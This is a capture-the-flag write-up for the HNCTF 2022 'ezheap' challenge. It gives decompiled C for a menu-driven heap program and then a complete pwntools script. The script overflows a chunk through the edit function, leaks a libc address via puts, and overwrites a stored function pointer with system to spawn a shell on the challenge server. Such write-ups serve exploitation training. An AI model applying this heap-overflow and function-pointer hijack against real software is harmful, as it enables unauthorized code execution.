[HNCTF 2022 WEEK4]ezheap

int add()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  int v3; // [rsp+0h] [rbp-20h]
  int v4; // [rsp+4h] [rbp-1Ch]

  puts("Input your idx:");
  v3 = getnum();
  puts("Size:");
  v4 = getnum();
  if ( v4 > 0x100 )
  {
    LODWORD(v1) = puts("Invalid!");
  }
  else
  {
    heaplist[v3] = malloc(0x20u);               // heaplist[idx] = malloc(0x20)
    if ( !heaplist[v3] )
    {
      puts("Malloc Error!");
      exit(1);
    }
    v0 = heaplist[v3];
    *(v0 + 16) = malloc(v4);                    // *(heaplist[idx] + 0x10) = malloc(size)
    *(heaplist[v3] + 32LL) = &puts;             // *(heaplist[idx] + 0x20) = &puts
    if ( !*(heaplist[v3] + 16LL) )
    {
      puts("Malloc Error!");
      exit(1);
    }
    sizelist[v3] = v4;                          // sizelist[idx] = size
    puts("Name: ");
    if ( !read(0, heaplist[v3], 0x10u) )        // read(0, heaplist[idx], 0x10)
    {
      puts("Something error!");
      exit(1);
    }
    puts("Content:");
    if ( !read(0, *(heaplist[v3] + 16LL), sizelist[v3]) )// read(0, *(heaplist[idx] + 0x10), size)
    {
      puts("Error!");
      exit(1);
    }
    puts("Done!");
    v1 = heaplist[v3];
    *(v1 + 24) = 1;                             // *(heaplist[idx] + 0x18) = 1
  }
  return v1;
}

_QWORD *delete()
{
  _QWORD *result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0x10 && *(heaplist[v1] + 24LL) )
  {
    free(*(heaplist[v1] + 16LL));
    free(heaplist[v1]);
    sizelist[v1] = 0;
    *(heaplist[v1] + 24LL) = 0;
    *(heaplist[v1] + 16LL) = 0;
    result = heaplist;
    heaplist[v1] = 0;
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}

__int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    (*(heaplist[v1] + 32LL))(heaplist[v1]);
    return (*(heaplist[v1] + 32LL))(*(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

ssize_t edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  unsigned int nbytes; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  puts("Size:");
  nbytes = getnum();
  if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
    return read(0, *(heaplist[v1] + 16LL), nbytes);
  puts("Error idx!");
  return 0;
}

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')

# io = process('./ezheap')
io = remote("node5.anna.nssctf.cn",21039)

# io = gdb.debug('./ezheap', gdbscript='set pagination off\nbreakrva 0x1534\nbreakrva 0x1754\nbreakrva 0x1805\nc')

def add(i,size):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"1")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size:\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name: \n")
    io.sendline(b"aaaa")
    io.recvuntil(b"Content:\n")
    io.sendline(b"bbbb")

def delete(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"2")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"3")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def edit(i,size,data):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"4")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"Size:\n")
    io.sendline(str(size).encode())
    io.send(data)

add(0,0x10)
add(1,0x10)

# 0x00005e2ed289a090 -> 0x00005e2ed289a080
payload = cyclic(0x18) + p64(0x31) + b"\x00" * 0x10 + b"\x80"
edit(0,0x31,payload)

show(1)

io.recvuntil(b"\n")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - libc.symbols['puts']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload = cyclic(0x18) + p64(0x31) + b"/bin/sh\x00" + cyclic(0x10) + p64(1) + p64(system)
edit(0,0x48,payload)

show(1)

io.interactive()